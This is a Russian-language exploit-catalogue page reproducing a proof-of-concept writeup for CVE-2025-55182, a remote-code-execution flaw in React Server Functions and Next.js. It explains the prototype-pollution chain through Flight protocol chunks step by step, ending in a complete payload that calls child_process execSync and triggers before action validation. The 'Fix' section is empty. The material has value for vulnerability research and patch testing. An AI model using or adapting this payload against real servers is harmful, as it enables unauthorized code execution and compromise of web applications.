Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-55182 — Proof-of-concept эксплойт для CVE-2025-55182, достигающий удаленного выполнения кода в React Server Functions через загрязнение прототипа и специально созданные фрагменты протокола Flight. | Kitploit
Инструменты/GitHubGitHub/andressuarezmonk/cve-2025-55182
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubandressuarezmonk/cve-2025-55182

CVE-2025-55182

Proof-of-concept эксплойт для CVE-2025-55182, достигающий удаленного выполнения кода в React Server Functions через загрязнение прототипа и специально созданные фрагменты протокола Flight.

Репозиторий
9 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-55182

Оригинальный автор: https://github.com/msanft/CVE-2025-55182

Эта уязвимость позволяет выполнить удалённый код (RCE) в серверных функциях React, например предоставляемых Next.js, через небезопасные ссылки на прототипы.

Я не эксперт в React или Next.js, поэтому относитесь ко всей представленной здесь информации скептически.

Предыстория

React предлагает серверные функции[^1], которые можно рассматривать как своего рода RPC- через-HTTP. Они могут использоваться для получения данных от соседних узлов для обеспечения низкой задержки или выполнения аутентифицированных запросов, для которых у клиента нет учётных данных.

React использует так называемый React Flight Protocol[^2] для сериализации значений, передаваемых серверным функциям.

Клиент передаёт серверу «чанки» (chunks), например через данные формы:

files = {
    "0": (None, '["$1"]'),
    "1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
    "2": (None, '{"fruitName":"cherry"}'),
}

Как показано, они могут содержать ссылки друг на друга. Приведённая выше нагрузка десериализуется на сервере в следующий объект:

{ object: 'fruit', name: 'cherry' }

Сам формат немного сложнее и допускает более сложную сериализацию и десериализацию, но это даёт базовое понимание для самой уязвимости.

Уязвимость

До этого коммита[^3] при обходе чанков для разрешения ссылок, например, получения fruitName из чанка 2 в примере выше, React не проверял, установлен ли запрашиваемый ключ на объекте. Это позволяло получить прототип объекта[^4].

Это можно продемонстрировать с помощью такой нагрузки:

files = {
    "0": (None, '["$1:__proto__:constructor:constructor"]'),
    "1": (None, '{"x":1}'),
}

Которая десериализуется в конструктор функции[^5]:

[Function: Function]

Когда чанк с ID 0 является не массивом, а объектом, мы можем установить ключ then в конструктор функции. Затем объект возвращается функцией decodeReplyFromBusboy и ожидается (await) Next.js:

// action-handler.ts:888 (до исправления)
boundActionArguments = await decodeReplyFromBusboy(
    busboy,
    serverModuleMap,
    { temporaryReferences }
)

Когда это возвращает thenable, await в вызывающем коде вызовет его. Это происходит с такой нагрузкой:

files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}

Что приводит к такой ошибке:

SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>) {
      digest: '1259793845'
    }

Ошибка выглядит так, потому что V8 вызывает await-функцию с внутренними функциями resolve и reject, которые при преобразовании в строку (toString) сериализуются примерно так:

function () { [native code] }

Эксплуатация

Поскольку мы можем тривиально получить конструктор Function, очевидный путь — найти call-gadget, который вызывает конструктор с управляемым пользователем значением (т.е. кодом функции в виде строки), а затем вызывает возвращённую функцию.

Есть несколько мест, которые могут вызвать конструктор функции, например resolveServerReference, где id — это управляемый объект, а lastIndexOf может быть переопределён для возврата управляемой пользователем строки (например, через Array.prototype.join), а slice можно переопределить на конструктор функции. Однако это место не работает, так как второй вызов .slice() передаёт число в качестве первого аргумента, которое — насколько мне известно — никогда не может быть обработано конструктором функции.

Здесь приходит блестящая идея от maple3142[^6]. Когда getChunk берёт чанк с ID 0 в качестве корневой ссылки для начала разрешения цепочки ссылок, этот же самый чанк может разрешиться в поддельный «фейковый чанк».

Мы можем сослаться на поддельный чанк 0 в чанке 1, используя синтаксис $@, который возвращает «сырой» чанк, а не его разрешённое значение:

case "@":
  return (
    (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
  );

Комбинируя это с нашей перезаписью then из предыдущего раздела, мы можем создать нечто подобное:

files = {
    "0": (None, '{"then": "$1:__proto__:then"}'),
    "1": (None, '"$@0"'),
}

Здесь чанк 0 перезаписывает свой собственный .then() на .then() своего собственного сырого представления чанка. Проще говоря, мы перезаписываем свой .then() на Chunk.prototype.then, который существует, поскольку Chunk являются thenables:

Chunk.prototype.then = function (resolve, reject) {
      switch (this.status) {
        case "resolved_model":
          initializeModelChunk(this);
      }
      // ...

С приведённой выше нагрузкой Chunk.prototype.then в конечном итоге вызывается с поддельным чанком с ID 0.

Как показано выше, когда .status на нашем фейковом чанке равен resolved_model:

files = {
    "0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
    "1": (None, '"$@0"'),
}

Мы попадаем в initializeModelChunk. Здесь .value парсится как JSON, а затем ссылки разрешаются на возвращённом объекте с использованием «внешнего» контекста наших чанков с ID 0 и 1:

function initializeModelChunk(chunk) {
    // ...
    var rawModel = JSON.parse(resolvedModel),
        value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
    // ...

Внутри этого мы теперь получаем второй проход вычислений с немного большим количеством значений, к которым у нас есть доступ благодаря уже разрешённому внешнему контексту.

Существует call-gadget в обработке данных-blob с префиксом $B в протоколе flight:

case "B":
  return (
    (obj = parseInt(value.slice(2), 16)),
    response._formData.get(response._prefix + obj)
  );

Используя специальное поле _response, мы контролируем свойство response поддельного чанка:

// в initializeModelChunk
value = reviveModel(chunk._response, // ...

С этим мы можем создать объект с поддельными свойствами ._formData и ._prefix:

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"return foo; // ",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

.reason необходимо добавить, чтобы обойти сбой при вызове toString в `initializeModelChunk:

var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;

Указывая ._formData на конструктор функции, а ._prefix на наш код, мы получаем вызов-гаджет для конструктора функции в десериализации blob:

response._formData.get(response._prefix + "0")
// становится
Function("return foo; // 0")

Наша сконструированная функция затем возвращается parseModelString как метод .then() поддельного чанка, который также ожидается (await), поскольку всё это происходит в одной цепочке разрешения промисов. Таким образом, возвращая thenable, наша сконструированная функция вызывается. Это и есть требуемый call-gadget, упомянутый выше.

Собирая всё вместе с реальной нагрузкой для RCE, мы получаем нечто подобное:

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"process.mainModule.require('child_process').execSync('calc');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

Бонус, который делает эту уязвимость ещё хуже, заключается в том, что всё это происходит во время десериализации, до того как запрошенное действие будет проверено в getActionModIdOrError. Таким образом, установка заголовка типа Next-Action: foo достаточна для срабатывания уязвимости.

Исправление

Скачать инструмент